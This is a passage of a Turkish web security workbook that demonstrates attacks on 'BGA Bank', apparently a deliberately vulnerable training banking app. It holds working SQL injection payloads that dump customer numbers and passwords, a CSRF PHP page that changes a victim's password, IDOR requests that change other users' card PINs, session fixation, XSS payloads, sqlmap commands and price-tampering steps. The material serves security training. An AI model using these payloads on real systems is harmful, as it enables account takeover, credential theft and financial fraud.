70 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 26. Havale İşleminde Mantık Hatası (Havale Yaparak Bakiye Arttırma) BGABank uygulaması Havale/EFT işlemlerinde gönderilecek miktar kısmında - (negatif) bir değer girildiğinde kullanılabilir bakiyenin arttığı görülecektir. Şekil 69. da - 10 lira gönderilmiştir. Şekil 69. Para Havale İşlemi Bakiyenin gönderim sonrasında ise 10009 lira (1 lira havale ücreti) olduğu görülebilir. (Şekil 70) Şekil 70. Hesap Bilgileri

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 71 27. Dizin Listeleme/İfşa Zafiyeti URL http://isube.bgabank.com/assets/ http://isube.bgabank.com/assets/contents/ http://isube.bgabank.com/assets/admin/ http://isube.bgabank.com/style/ Tablo 23. Dizinler İstemciler tarafından gelen URL istekleri bir dizini ifade etmesi durumunda, dizin içeriği listelenmektedir. Bu durum, bir saldırganın adını bildiği, öğrendiği ya da tahmin ettiği dizinlerin içeriğini listeleyebilmesine imkan vermektedir. Listelenen dosya ve klasörlerin arasında önemli bilgiler olabilir. Şekil 71. Dizin Listeleme

72 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 28. Şifre Değiştirme İşlemi CSRF Zafiyeti ve İstismarı Senaryo: Hedef kullanıcı, sistemde müşteri numarası ve şifresi ile oturum açar. Saldırgan, müşteri şifresini değiştirip, hedef müşterinin hesabından kendi hesabına para aktarmayı amaçlamıştır. Bunun için normal bir müşteri gibi bankada hesap açtırır ve internet şubesini kullanmaya başlar. Şifre değiştirme sayfasında CSRF için herhangi bir önlem alınıp alınmadığını, alındıysa doğru çalışıp çalışmadığını veya atlatılıp atlatılamaya- cağını araştırır. Araştırmalar sonucunda hedef müşteriye yollayacağı sayfayı kodlar. Kodladığı dosyayı internete yükler ve hedefine sosyal mühendislik ile dosyanın adresini gönderir. Müşteri, oturumu açıkken linke tıklar ve şifresi saldırganın istediği şekilde değiştirilmiş olur. Saldırgan amacına ulaşmıştır. BGA Bank da yukarıda anlatılan senaryo uygulanabilir. Şekil 72. de şifre değiştirme paneli gösterilmiştir. Şekil 72. Müşteri Şifre Değiştirme Paneli BGA Bank şifre değiştirme panelinde CSRF önlemi olarak şekil 72' de görüldüğü gibi forma "Eski Şifrenizi Giriniz " bölümü eklenmiştir. Fakat bu bölüm, sunucu tarafında kontrol edilmediğinden herhangi bir önemi yoktur. Amaç koruma var gibi gösterip, saldırganı yanıltarak CSRF denemesini engellemektir. Saldırı adım adım aşağıda anlatılmıştır.

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 73 1) Saldırgan sisteme müşteri olarak kayıt olur. Şifre değiştirme panelini inceler ve hedefe göndereceği sayfayı uygun bir dilde kodlar. <?php $ch = curl_init("http://isube.bgabank.com/ajax.php?sayfa=sifre.php&k5=11&k6=hacked&k7=hacked"); curl_setopt($ch, CURLOPT_HTTPHEADER, array("x- Requested- With: xmlhttprequest")); $result = curl_exec ($ch); curl_close ($ch);?> CSRF.php Yukarıda belirtilen kod parçacığında 3. satırda belirtilen URL e PHP- Curl kütüphanesi kullanılarak GET isteği gönderilmiştir. Sayfa tarayıca yüklenir yüklenmez veritabanındaki id si 11 olan kullanıcının şifresi hacked olarak değişecektir. 2) Saldırgan kodladığı sayfayı internete yükler. Bu dökümanda anlatım için yüklenilen adres tablo 24. de gösterilmiştir. (Örnektir) URL http://www.bgabank.com/csrf.php Tablo 23. Yüklenilen Dosya Adresi 3) Dosya linkini hedefe gönderir, göndermeden önce BGA Bank oturumunun açık olduğundan emin olur. (Şekil 73) Şekil 73. Sosyal Mühendislik

74 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 4) Hedef, bankada oturumu açıkken maili görür ve belirtilen linke tıklar. (Şekil 74) Şekil 74. Hedef Linke Tıklar Şekil 75. Şifre Değişir

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 75 5) Sistemden çıkış yapan hedef kullanıcı tekrar hesabına eski şifresi ile giriş yapmayı dener ve erişemez çükü şifresi değişmiştir. (Şekil 76) Şekil 76. Hedef Giriş Yapamaz

76 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 29. Kartlarım Sayfası Insecure Direct Object References Zafiyeti ve İstismarı BGA Bank kartlarım sayfasına erişen bir kullanıcı ya da saldırgan,get veya post isteklerinde araya girip değişiklik yaparak başka kullanıcıların kart bilgilerine erişebilir ve eriştiği bilgileri istediği gibi değiştirebilir. Aşağıda adım adım başka bir kullanıcının kart şifresinin değiştirilmesi anlatılmıştır. Şekil 77. Kartlarım Parola Değiştirme Formu 1) Kullanıcı olarak giriş yapılır ve şifre değiştirme sistemi hakkında burp ile araya girilerek sunucuya gönderilen veriler hakkında bilgi edinilir. Şekil 77. de belirtilen form doğru biçimde doldurulur ve butona tıklanır. Başarılı bir şekilde parolanın değiştiği görülecektir. Bu kısımda forma doldurulan verilerin, sunucu tarafına hangi metot ile hangi parametrelerin gönderildiği saptanmalıdır. Eğer müşteri numarası ya da kart numarası gizli olarak form parametreleri arasında gönderiliyorsa, müşteri/kart numarası manipüle edilerek başka kullanıcıların kart bilgileri değiştirilebilecektir.

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 77 Şekil 78. Parametre Değerlerinin Analizi Şekil 78. de görüldüğü gibi kart numarası gönderilen parametreler arasında yer almaktadır. Bu değer 8 olarak değiştirilip yeni şifre ataması yapıldığında 8 numaralı kartın şifresi belirtilen şifre olarak değiştirilecektir. Herhangi bir değişiklik yapmadan önce yapılan değişikliği gösterme adına kartlar tablosunda yer alan 8 numaralı kartın bulunduğu satırın görüntüsü şekil 79. da verilmiştir. Şekil 79. Parametre Değerlerinin Analizi 2) k_id değeri başka bir kart numarası (8) ile değiştirilir ve şifre değerlerine istenilen bir değer (270694) yazılır. (Şekil 80) Şekil 80. Parametre Değerlerinde Manipülasyon İşlemi

78 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı Sonuç şekil 81. de gösterilmiştir. Başka müşteriye ait kart parolası başarıyla değiştirilmiştir. Şekil 81. Insecure Direct Object References Sonuç

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 79 30. Şubeler Sayfası SQL Injection Zafiyeti ve İstismarı Şekil 82. de gösterilen sayfada il seçimi yapılıyor. Bu sayfada bulunan sql injection zafiyetinin tespiti ve istismarı aşağıda adım adım gösterilmiştir. Şekil 82. Şubeler Sayfası 1) İl seçimi yaparken Burp Suite kullanarak HTTP protokolünde istek olarak hangi verilerin/parametrelerin sunucuya gönderiliği öğrenilir. Bu kısımda Burp Suite'in "Repeater" aracından faydalanılacaktır. Proxy sekmesine düşen isteğe şekil 83. de ki gibi sağ tıklanarak "Send to Repeater" seçilir. Şekil 83. Send To Repeater

80 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı Repeater ile bir istek tekrar tekrar gönderilip dönen cevaplar aynı pencere içinde görüntülenebilir. Repeater'a gönderilen isteğin görüntüsü şekil 84. 'de gösterilmiştir. Sol taraf gönderilen isteği, sağ taraf ise dönen cevabı barındırır. Şekil 84. Repeater "Go" butonuna tıklandığında normal bir istek için dönen cevap sağ tarafta şube listesi olarak görünecektir. k1 parametresi 34 olduğundan İstanbul'da bulunan şubeler cevap kısmında listelenmiştir. 2) SQL injection payload yazılır SQL dilinde "order by" keywordu kayıtları sıralamada kullanılır. SQL injectionun tespitinde önemli yere sahiptir. Bir tabloda eğer 5 kolon varsa order by değeri 5 ve 5'ten az bir değer alabilir ama 5'ten büyük bir değer, mesela 6 yapıldığında hata meydana gelecektir. Bu hatanın meydana geldiği değerden bir önceki değer yani 5 değeri tablodaki kolon sayısını belirtir. Bu sayede hata alana kadar değeri arttıran saldırgan, tablodaki kolon sayısını bulabilir. Kolon sayısı neden gereklidir? Uygulama geliştirici bir SQL cümlecik yazmıştır ve saldırgan bu cümleciğe ekleme yapmak istiyordur. Var olan bu SQL cümlesinin yanında bir SQL cümlesini daha çalıştırmak için UNION keywordu kullanılır. Bu keywordun özelliği ise bir önceki cümlede kullanılan tablonun sahip olduğu kolon sayısını kullanmasıdır. Örneğin ilk cümlede 6 kolon varsa uniondan sonraki cümlede de 6 kolon kullanılmalıdır. Union keywordu kullanarak yeni bir sorgu çalıştıran saldırgan, bu sorgu ile istediği verilere rahatça ulaşabilir.

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 81 Şekil 85 ve 86 da order by ile hata alınmadan hemen önceki değer ile hata alınılan değer gösterilmiştir. k1 parametresinde kullanılan payload: 34'/**/order/**/by/**/8;/**/ Şekil 85. Hata Alınmadan Önceki Görüntü Şekil 86. Hata Alınılan Görüntü Şekil 85. ve 86. dan da anlaşılacağı gibi union 'dan sonra çalıştırılacak cümlede 8 kolon kullanılmalıdır. k1 parametresinden sonra - 34'/**/union/**/select/**/1,2,3,4,5,6,7,8;/**/ yazıldığında sonuç şekil 85.deki gibi olur. 34 değerinin başına - koyulmasının nedeni - 34 değerinin veritabanında karşılığının bulunmamasıdır. İller tablosunda - 34 diye bir plaka olmadığından sayfa temizlenir ve sadece union verileri görünür bu da saldırganın çalışmasını rahatlatır. Şekil 87. Çalışan Union Sorgusu ve Sonucu

82 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı Şekil 88. de union sorgusundan sadece 2 ve 3 getirilmiştir. union cümleciğinde şekil 17.de ki gibi 2 yerine @@version yazılırsa, sql serverin versiyonu öğrenilebilir. SQL payload: 10'/**/union/**/select/**/1,@@version,3,4,5,6,7,8;/**/ Şekil 88. SQL Injection Versiyon Öğrenme Sadece versiyon bilgileri vs değil, BGA Bank müşteri numaraları ve şifreleri de çekilebilir. Şekil 89. da müşteri numaraları ve şifrelerinin çekimi gösterilmiştir. Bunun için kullanılacak payload: - 34'/**/union/**/select/**/1,m_numarasi,m_sifre,4,5,6,7,8/**/from/**/bnk_musteriler;/** / Şekil 89. BGA Bank Müşteri Numaraları ve Şifreleri

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 83 31. İşlem Özeti Filtreleme Web Service SQL Injection Anlatılan SQL injection açıklıklarından farkı Web Service kullanılarak istismar edilmesidir. Şekil 90. da filtreme paneli gösterilmiştir. Bu kısımda kullanıcı tarafından girilen değerler web servis tarafından işleme tabi tutulur ve yine web servis ile cevap döndürülür. Şekil 90. BGA Bank İşlem Özeti Filtreleme Paneli SQL injection tespiti için web servisleri debug etmek için kullan SOAPUI aracından yararlanılacaktır. Bunun için wsdl dosyasının bulunduğu konum bulunmalıdır. Sayfanın kaynak koduna bakıldığında geliştiricinin wsdl yolunu yorum olarak bıraktığı görülecektir. (Şekil 91.) Bu da bir zafiyettir.

84 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı Şekil 91. BGA Bank "hesaplarim.aspx" HTML Kaynak Kodu Uygulama geliştirici kendi geliştirme ortamında kullandığı adresi kullanmıştır. Önemli olan domain adresi değil wsdl dosyasının yoludur. SOAP Adres: http://isube.bgabank.com/service/rpc/bgabankservice.php?wsdl Zafiyet tespiti ve istismarı aşağıda adım adım anlatılmıştır. 1) SOAPUI programında yukarıdaki adres ile yeni bir proje oluşturulur. (Şekil 92) Şekil 92. File - > New Soap Project

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 85 2) Parametre değerleri girilerek web servise istek gönderilir. (Şekil 93.) Gönderilen değerler: Şekil 93. SoapUI İstek ve Cevap <hesap_no xsi:type="xsd:string">tr400340100000000000020037</hesap_no> <alt_sinir xsi:type="xsd:int">1</alt_sinir> <ust_sinir xsi:type="xsd:int">100</ust_sinir> <islem_tipi xsi:type="xsd:string">giden</islem_tipi> 3) SQL injection zafiyeti islem_tipi parametresinde bulunmaktadır. İstimarı için kullanılacak payload: - giden" union select 1,2,3,m_sifre,m_numarasi,6,7,8,9,m_adi from bnk_musteriler; bu payload ile müşteri numaraları ve şifreleri çekilecektir. (Şekil 94) Şekil 94. SQL Injection İstismarı

86 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 32. BGA Bank Session Fixation Saldırısı Saldırı aşağıda adım adım anlatılmıştır. Saldırgan: Mustafa Balaban Hedef Kullanıcı: Ahmet Kalayci 1) Saldırgan sisteme giriş yapar ve bir sessionid alır. (sessid: magc9jf9pks4a56ip8htg9ai27) Şekil 95. Saldırganın Aldığı SessionID 2) Hedef kullanıcıya tıklaması için kendi aldığı session id ye sahip bir link (Tablo 24) gönderir ve kullanıcı bu linke tıklayıp giriş yapar. URL http://isube.bgabank.com/giris.aspx?phpsessid=magc9jf9pks4a56ip8htg9ai27 Tablo 24. Link

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 87 Şekil 94. Hedef Kullanıcı Sisteme Giriş Yapar 3) Saldırgan sayfayı yenilediğinde hedef kullanıcı oturumuna erişir. Şekil 95. Sonuç

88 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 33. HTML Yorum Satırlarında Bilgi İfşası Uygulamanın çeşitli sayfalarında, geliştirici tarafından bırakılan ve önemli bilgiler barındıran yorum satırları bırakılmıştır. Tablo 25. 26. ve 27. de yorum satırlarının bulunduğu linkler ve bilginin türü belirtilmiştir. URL http://isube.bgabank.com/insan- kaynaklari.aspx Bilgi Yüklenen dosyanın yüklendiği dizinin adresi (Şekil 96) Tablo 25. İnsan Kaynakları Sayfası Şekil 96. İnsan Kaynakları Sayfası HTML Kaynak Kodu URL http://isube.bgabank.com/giris.aspx Bilgi Yönetim Paneli Dizini (Şekil 97) Tablo 26. Müşteri Giriş Paneli

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 89 Şekil 97. Müşteri Giriş Sayfası HTML Kaynak Kodları URL http://isube.bgabank.com/hesaplarim.aspx?id=1 Bilgi Web Servis WSDL dosya adresi (Şekil 98) Tablo 27. Müşteri Giriş Paneli Şekil 98. İşlem Özeti HTML Kaynak Kodları

90 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 34. Şifre Değiştirme Panelinde Şifre Form Kontrolünü Atlatma URL http://isube.bgabank.com/sifre.aspx Tablo 28. Şifre Değiştirme Sayfası Şifre değiştirme sayfasında yer alan filtremele javascript ile yapıldığından, araya girilerek eski şifre hiç bir kurala tabi tutulmadan, istenilen şekilde değiştirilebilir. Şekil 99. da araya girilmeden şifre deneme yapılmak istenmiş ve Şifre en az bir rakam içermelidir (0-9) hatası alınmıştır. Şekil 99. Şifre Değiştirme Paneli Hata Kaynak kodlara bakıldığında javascript kullanılarak, şekil 99 daki gibi kısıtlamalara gidilmiştir. (Şekil 100) Şekil 100. Javascript Kısıtlamalar

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 91 Javascript kodları son kullanıcı tarafında yani tarayıcıda çalıştığı için tarayıcı ile sunucu arasına herhangi bir proxy programı (Burp Suite, ZAP vs.) girilip bu kısıtlamalar atlatılabilir. Aşağıda Burp Suite kullanılarak şifre deneme olarak değiştirilmiştir. 1) Şifre değiştirme paneline yeni şifre olarak kurallara uygun olan BGA123 girilir ve istek Burp Suite ile yakalanır. (Şekil 101) Şekil 101. Şifre Değiştirme Burp Suite 2) İstek tablo 28. deki gibi k6 ve k7 parametreleri deneme olarak değiştirilip gönderilir. GET /ajax.php?sayfa=sifre.php&k5=11&k6=deneme&k7=deneme HTTP/1.1 Host: isube.bgabank.com User- Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html, */*; q=0.01 Accept- Language: en- US,en;q=0.5 Accept- Encoding: gzip, deflate Content- Type: text/plain; charset:utf- 8 X- Requested- With: XMLHttpRequest Referer: http://isube.bgabank.com/sifre.aspx Cookie: PHPSESSID=d8qgu1gdtocdrjlbh7u6r01aq2; guest=false DNT: 1 Connection: keep- alive Tablo 29. Burp Suite Şifre Değiştirme GET İsteği

92 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 3) Sonuç, şifre başarıyla değiştirilmiştir. (Şekil 102) Şekil 102. Şifre Değiştirme

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 93 35. Diğer Müşterilere Bağlı Kart Şifrelerini Değiştirme URL http://isube.bgabank.com/kartlarim.aspx Tablo 30. Kartlarım Sayfası Sisteme herhangi bir müşteri olarak giriş yapıldıktan sonra tablo 30 da belirtilen adrese gidildiğinde, sahip olunan kartlar ve bunlara atanan şifre değiştirme paneli görünecektir. (Şekil 103) Şekil 103. Kartlarım Sayfası

94 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı Burp Suite ile şifre değiştirilirken araya girilir. Şekil 104. de kırmızı ile işaretlenen alanda k_id parametresi dikkat çekmektedir. Kart id olarak nitelendirilebilecek bir parametre olduğundan, değeri değiştirilerek başka bir müşteriye ait olan kart şifresi değiştirilebilecektir. Şekil 104. Burp Suite Kart Şifre Değiştirme Şekil 105. de k_id değeri 9 olan kartın şifresi belirtilmiştir. Şekil 105. Kart ID Değeri 9 Olan Kartın Şifresi

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 95 Live HTTP Header ile ilk adımda yakalanan GET isteği tablo 31 deki gibi düzeltilerek tekrar gönderirlir. GET /ajax.php?sayfa=kartlarim.php&k_sifre=1234&k_sifret=1234&k_id=9 HTTP/1.1 Host: isube.bgabank.com User- Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html, */*; q=0.01 Accept- Language: en- US,en;q=0.5 Accept- Encoding: gzip, deflate Content- Type: text/plain; charset:utf- 8 X- Requested- With: XMLHttpRequest Referer: http://isube.bgabank.com/kartlarim.aspx Cookie: PHPSESSID=quhvru5q4setihnriatfgicva4; guest=false DNT: 1 Connection: keep- alive Tablo 31. Burp Suite Şifre Değiştirme GET İsteği Şekil 106 da görüldüğü gibi şifre 1234 olarak değiştirilmiştir. Şekil 106. Değiştirilen Şifre

96 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 36. Şubeler Sayfası Reflected XSS Zafiyeti ve İstismarı URL http://isube.bgabank.com/subeler.aspx Tablo 32. Şubeler Sayfası 1) Burp Suite açıkken Tablo 32 de belirtilen adrese girilip şehir seçilir ve istek Burp Suite ile yakalanır. (Şekil 107, 108) Şekil 107. Şehir Seçilir

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 97 Şekil 108. Burp Suite ile Yakalanır 2) k1 parametre değeri repeater a gönderilip değiştirildiğinde HTML kodlar arasında girdinin yer aldığı görülür. (Şekil 109) 40 yapılan değer kodlar arasına girmiştir. (Şekil 110) Şekil 109. Send to Repeater Şekil 110. Hata Mesajı

98 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 3) Tekrar proxy sekmesine dönülür ve payload k1 parametresinin değeri payload (<script>alert(1);</script>) ile değiştirilip forward butonuna tıklanır. (Şekil 111) Şekil 111. Payload Yazılır 4) Sonuç (Şekil 112) Şekil 112. Sonuç

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 99 37. İçerik Parametresi Time-Based SQL Injection Zafiyeti ve İstismarı URL HTTP Talep Türü http://isube.bgabank.com/index.php?icerik=kobi GET Payload " AND SLEEP(10) AND 1=1; Parametre icerik Tablo 33. Giriş Sayfası SQL Injection Zafiyet Bilgileri Tablo 33. de zafiyet bilgileri yer almaktadır. Payload uygulandığıda tarayıcının 10 sn beklediği görülecektir. (Şekil 113) Şekil 113. Time- based SQL Injection Tablo 34. de sqlmap komutu ve çıktısı gösterilmiştir. Burada da görüldüğü gibi Time- based SQL Injection zafiyeti tespit edilmiştir. Komu t Çıktı sqlmap.py - u "http://isube.bgabank.com/index.php?icerik=kobi" - - dbms=mysql - - level 3 - - risk 3 GET parameter 'icerik' is vulnerable. Do you want to keep testing the others (if any)? [y/n] sqlmap identified the following injection points with a total of 148 HTTP(s) requests: - - - Place: GET Parameter: icerik Type: boolean- based blind Title: OR boolean- based blind - WHERE or HAVING clause Payload: icerik=- 1929" OR (5708=5708) AND "ucpt"="ucpt

100 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı Type: UNION query Title: MySQL UNION query (NULL) - 10 columns Payload: icerik=- 7748" UNION ALL SELECT NULL,NULL,CONCAT(0x716d6e6371,0x6a77424147486f576675,0x7176717771),NUL L,NULL,NULL,NULL,NULL,NULL,NULL# Type: AND/OR time- based blind Title: MySQL > 5.0.11 OR time- based blind Payload: icerik=- 7089" OR 4772=SLEEP(5) AND "VCGC"="VCGC - - - [21:58:56] [INFO] the back- end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP 5.5.9 back- end DBMS: MySQL 5.0.11 Tablo 34. Sqlmap Komutu ve Çıktısı

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 101 38. Kodlarına Ulaşılabilir Dosyalar Uygulama geliştirici bazen eski dosyaları silmek istemez sonuna veya başına herhangi bir karakter atıp adını değiştirebilir. Eğer atılan karakter, dosya uzantısında ise, dosya okunur hale gelmektedir. Tablo 35. de belirtilen adreslerde bu zafiyet mevcuttur. Adres 1. http://isube.bgabank.com/index.php~ (Şekil 114) Adres 2. http://isube.bgabank.com/assets/contents/tr/havale- eft.php~ (Şekil 115) Tablo 35. Kodlarına Ulaşılabilir Dosya Adresleri Yukarıdaki adreslere gidilip, sayfa kaynağı görüntülendiğinde, php kaynak kodları görülecektir. (Şekil 114,115) Şekil 114. havale- eft.php Dosyası Kaynak Kodları

102 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı Şekil 115. index.php Dosyası Kaynak Kodları

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 103 39. User-Agent Başlık Bilgisinde Stored XSS Zafiyeti ve İstismarı Müşteriler, müşteri temsilcisine mesaj gönderdiklerinde, müşteri temsilcisi mesajlar panelinde, müşterinin mesajı gönderdiği, User- Agent bilgisini de görebilmektedir. (Şekil 116) Şekil 116. User- Agent Bilgisi Burada saldırgan User- Agent bilgisini değiştirip XSS payload yazarak, müşteri temsilcisinin cookie bilgilerini çalabilir.

104 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 1) Burp Suite ile mesaj gönderilirken araya girilir ve User- Agent kısmına (Şekil 117) XSS payload yazılır. (Şekil 118) Şekil 117. User- Agent Bilgisi

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 105 İstekten Dönen Cevap Şekil 118. Değiştirilen User- Agent Bilgisi HTTP/1.1 200 OK Date: Sun, 21 Sep 2014 16:18:54 GMT Server: Apache/2.4.7 (Ubuntu) X- Powered- By: PHP/5.5.9-1ubuntu4.4 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache- Control: no- store, no- cache, must- revalidate, post- check=0, pre- check=0 Pragma: no- cache L- IP: 172.16.16.100 Content- Length: 7 Keep- Alive: timeout=5, max=100 Connection: Keep- Alive Content- Type: text/html success

106 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 2) Müşteri temsilcisi mesajı görüntülediğinde XSS payload çalışır. (Şekil 119) Şekil 119. Müşteri Temsilcisi Çalışan Payload

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 107 40. Haberdar Ol Sayfası SQL Injection Zafiyeti ve İstisamarı URL HTTP Talep Türü Payload Parametre http://isube.bgabank.com/haber- ver.aspx POST "/**/ORDER/**/BY/**/2; k1 Tablo 36. Haberdar Ol Sayfası SQL Injection Zafiyet Bilgileri Tablo 37. de bilgileri verilen SQL injection zafiyeti Haberdar Ol sayfasında bulunmaktadır. (Şekil 120) Bu sayfada bulunan forma, mail adresi formatından başka bir şey yazılamadığı görülmektedir. Javascript ile yapılan kısıtlamarı atlatmak için, Burp Suite kullanılır. Zafiyet tespiti aşağıdaki adımlarla yapılır. Şekil 120. Haberdar Ol Sayfası

108 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 1) Burp Suite ile araya girilir ve istek repeater a gönderilir. karakteri k1 parametre değerine eklenir ve sonuç gözlemlenir. Şekil 121. SQL Hatası

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 109 2) Tablo 38. deki payloadın sonunda bulunan 2, 3 olarak değiştirildiğinde tekrar hata alındığı görülür. (Şekil 122) Şekil 122. Order by SQL Hatası

110 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 3) Tablo 38. deki payload aynen denendiğinde hata alınmadığı gözlemlenecektir. Dolayısıyla tabloda 2 kolon olduğu anlaşılacaktır. (Şekil 123) Şekil 123. Başarılı Order By Denemesi Yukarıda zafiyet bulunduğunun kesin ispatı yapılmıştır. Aşağıda sqlmap ile istismar için bilgiler yer almaktadır. 1) Gönderilen GET verisi alınarak bir dosyaya kaydedilir. Gönderilen GET datası GET /ajax.php?sayfa=haber- ver.php&k1=dude%40bga.com.tr HTTP/1.1 Host: isube.bgabank.com User- Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html, */*; q=0.01 Accept- Language: en- US,en;q=0.5 Accept- Encoding: gzip, deflate Content- Type: text/plain; charset:utf- 8 X- Requested- With: XMLHttpRequest Referer: http://isube.bgabank.com/haber- ver.aspx Cookie: cfduid=dcd509ecaf3eaecc65dbb67f0ae8856f61411237618127; PHPSESSID=ktmf596la0v5ihe0b1qjaspd74; guest=false DNT: 1 Connection: keep- alive

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 111 2) Dosya sqlmap e verilir. Çıktı Tablo 39. daki gibidir. İstismar başarıyla sonuçlanmıştır. Komut sqlmap.py - r../desktop/deneme.txt - p k1 - - dbms mysql - - level 3 - - risk 3 Çıktı GET parameter 'k1' is vulnerable. Do you want to keep testing the others (if any)? [y/n] sqlmap identified the following injection points with a total of 142 HTTP(s) requests: - - - Place: GET Parameter: k1 Type: boolean- based blind Title: AND boolean- based blind - WHERE or HAVING clause Payload: sayfa=haber- ver.php&k1=dude@bga.com.tr" AND 6328=6328 AND "bcde"="bcde Type: stacked queries Title: MySQL > 5.0.11 stacked queries Payload: sayfa=haber- ver.php&k1=dude@bga.com.tr"; SELECT SLEEP(5)- - Type: AND/OR time- based blind Title: MySQL > 5.0.11 AND time- based blind Payload: sayfa=haber- ver.php&k1=dude@bga.com.tr" AND SLEEP(5) AND "mabh"="mabh - - - [20:01:08] [INFO] the back- end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP 5.5.9 back- end DBMS: MySQL 5.0.11 Tablo 39. Sqlmap Komutu ve Çıktısı

112 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 41. Haberdar Ol Sayfası Reflected XSS Zafiyeti ve İstismarı İletişim menüsü altında bulunan Haberdar Ol sayfasında bulunun formda XSS zafiyeti mevcuttur. (Şekil 124) İstismar için aşağıdaki adımlar uygulanır. Şekil 124. Haberdar Ol XSS Zafiyeti

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 113 1) Burp Suite ile araya girilerek istek yakalanır. (Şekil 125) Şekil 125. Haberdar Ol Sayfası Burp Suite 2) XSS payload girilir ve ilk girildiği için payload hata vermeden veritabanına kaydedilir. (Şekil 126,127) Şekil 126. XSS Payload

114 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı Şekil 127. Veri Tabanı Mail Listesi 3) Aynı payload tekrar gönderilir, payload veritabanında daha önce olduğundan payload sayfada çalışacaktır. (Şekil 128) Şekil 128. XSS İstismarı

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 115 42. Döviz Alma İşleminde Araya Girilerek Döviz Fiyatı Değiştirme Döviz al sayfasında, döviz alınırken araya girilip fiyat değişikliği yapılabiliyor. 20 dolar 1 tl ye alınabiliyor. İşlem adımları aşağıdaki gibidir. İşlem öncesi hesapta 10.000 TL olduğu şekil 129 da görülmektedir. Şekil 129. Döviz Al Formu

116 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 1) Burp Suite ile araya girilerek istek yakalanır. (Şekil 130) Şekil 130. İstek 2) k3 parametre değeri 1 tl olarak değiştirilir ve istek gönderilir. (Şekil 131) Şekil 131. Manipülasyon İşlem başarılı bir şekilde gerçekleştirilir. (Şekil 132) Şekil 132. Dönen Cevap

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 117 Hesaptan sadece 1 tl kesilmiştir. (Şekil 133) Şekil 133. Sonuç

118 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 43. Tomcat 6 Sistem İfşası Nmap ile http://isube.bgabank.com adresi tarandığında, açık portlar arasında 8080 olduğu görülür. (Şekil 134) 8080 portunda gelende Tomcat kurulu olur. Şekil 134. Nmap Tomcat 8080 portuna bağlanıldığında şekil 135. de görüldiği gibi tomcat arayüzü gelmektedir. Şekil 135. Tomcat Web Arayüzü

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 119 44. Güvensiz Çıkış Zafiyeti Sisteme normal şekilde giriş yapıldıktan sonra Çıkış seçeneğine tıklandığında sadece menülerin değiştiği, cookie ve session bilgilerinin silinmediği görülmektedir. Normalde çıkış yaptığını sanan bir müşteri, aslında çıkış yapmamıştır. 1) Sisteme normal olarak giriş yapılır. (Şekil 136) Şekil 136. Giriş ve Cookie Bilgileri 2) Menüdeki çıkış seçeneğine tıklanır. Şekil 137. de sessionid nin silinmediği, sadece guest değerinin değiştiği gözlemlenir. Şekil 137. Çıkış ve Cookie Bilgileri

